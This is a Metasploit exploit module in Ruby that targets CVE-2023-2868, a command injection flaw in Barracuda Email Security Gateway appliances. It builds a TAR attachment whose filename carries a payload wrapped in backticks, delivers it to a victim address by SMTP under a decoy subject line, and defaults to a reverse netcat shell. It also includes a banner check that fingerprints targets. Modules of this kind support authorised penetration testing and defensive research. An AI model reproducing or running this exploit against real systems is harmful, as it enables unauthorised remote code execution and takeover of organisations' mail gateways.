Barracuda ESG TAR Filename Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::SMTPDeliver

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Barracuda ESG TAR Filename Command Injection',
        'Description' => %q{
          This module exploits CVE-2023-2868, a command injection vulnerability in
          Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists
          in how the ESG processes TAR file attachments - filenames containing shell
          metacharacters (backticks) are passed directly to shell commands during
          extraction, allowing remote command execution.

          The exploit sends an email with a specially crafted TAR attachment where
          the filename contains a backtick-wrapped command. When the ESG processes
          this attachment, the command is executed as the mail processing user.

          Note: Payload execution may take 30-90 seconds after email delivery.
          Amavisd queues and processes attachments asynchronously.

          Affected versions: Barracuda ESG firmware prior to May 2023 patch.

          Payloads containing single quotes or backticks are incompatible with
          the injection mechanism. Use cmd/unix/generic with a custom CMD for
          specialized payload requirements.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mandiant', # Discovery and analysis
          'cfielding-r7', # Original PoC
          'Curt Hyvarinen' # Metasploit module
        ],
        'References' => [
          ['CVE', '2023-2868'],
          ['URL', 'https://www.barracuda.com/company/legal/esg-vulnerability'],
          ['URL', 'https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally'],
          ['URL', 'https://attackerkb.com/topics/NCRbE1IDJP/cve-2023-2868']
        ],
        'DisclosureDate' => '2023-05-23',
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Payload' => {
          'Space' => 490,
          'DisableNops' => true,
          'BadChars' => "'\`\x00\r\n"
        },
        'Targets' => [
          ['Unix Command', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_netcat'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('MAILTO', [true, 'Target email address on the ESG']),
        OptString.new('MAILFROM', [true, 'Sender email address', '[email protected]']),
        OptString.new('SUBJECT', [true, 'Email subject line', 'Quarterly Report']),
        OptString.new('BODY', [false, 'Email body text (default: random string)']),
        OptString.new('FILENAME', [false, 'TAR attachment filename (default: random.tar)'])
      ]
    )
  end

  def check
    connect
    banner_str = banner.to_s
    if banner_str =~ /barracuda/i
      return CheckCode::Detected('Barracuda ESG detected in SMTP banner')
    end

    if banner_str =~ /ESMTP/i
      return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')
    end

    CheckCode::Safe('No SMTP banner detected')
  rescue Rex::ConnectionError => e
    CheckCode::Unknown("Connection failed: #{e.message}")
  ensure
    disconnect
  end

  def exploit
    cmd = payload.encoded

    # Wrap payload in critical format for command injection:
    # Outer single quotes prevent immediate shell parsing,
    # backticks trigger command substitution when processed by vulnerable code
    malicious_filename = "'`#{cmd}`'"

    print_status('Generating malicious TAR with payload filename')
    vprint_status("Payload filename length: #{malicious_filename.length} bytes")
    tar_data = create_malicious_tar(malicious_filename)

    print_status('Composing email with TAR attachment')
    email_data = generate_exploit_email(tar_data)

    print_status("Sending exploit email to #{datastore['MAILTO']} via #{Rex::Socket.to_authority(rhost, rport)}")
    send_message(email_data)

    print_good('Email sent successfully')
    print_status('Payload will execute when ESG processes the attachment')
  end

  def create_malicious_tar(malicious_filename)
    # Rex::Tar::Writer inherits from Gem::Package::TarWriter which enforces a
    # 100-byte filename limit. Override split_name to allow longer filenames
    # with special characters for the injection payload.

    original_split = Rex::Tar::Writer.instance_method(:split_name)

    Rex::Tar::Writer.define_method(:split_name) do |name|
      prefix = ''
      if name.bytesize > 100
        parts = name.split('/', -1)
        name = parts.pop
        prefix = parts.join('/')
        while !parts.empty? && (prefix.bytesize > 155 || name.empty?)
          name = parts.pop + '/' + name
          prefix = parts.join('/')
        end
      end
      [name, prefix]
    end

    tar_io = StringIO.new
    Rex::Tar::Writer.new(tar_io) do |tar|
      content = Rex::Text.rand_text_alpha(32)
      tar.add_file_simple(malicious_filename, 0o644, content.length) do |io|
        io.write(content)
      end
    end

    # Restore original method to avoid affecting other code
    Rex::Tar::Writer.define_method(:split_name, original_split)

    tar_io.string
  end

  def generate_exploit_email(tar_data)
    msg = Rex::MIME::Message.new
    msg.mime_defaults
    msg.from = datastore['MAILFROM']
    msg.to = datastore['MAILTO']
    msg.subject = datastore['SUBJECT']

    # Add text body
    body_text = datastore['BODY'].to_s.strip.empty? ? Rex::Text.rand_text_alpha(rand(16..32)) : datastore['BODY']
    msg.add_part(body_text, 'text/plain', nil, 'inline')

    # Add TAR attachment
    attachment_name = datastore['FILENAME'].to_s.strip.empty? ? Rex::Text.rand_text_alpha(8) + '.tar' : datastore['FILENAME']
    msg.add_part_attachment(tar_data, attachment_name)

    msg.to_s
  end
end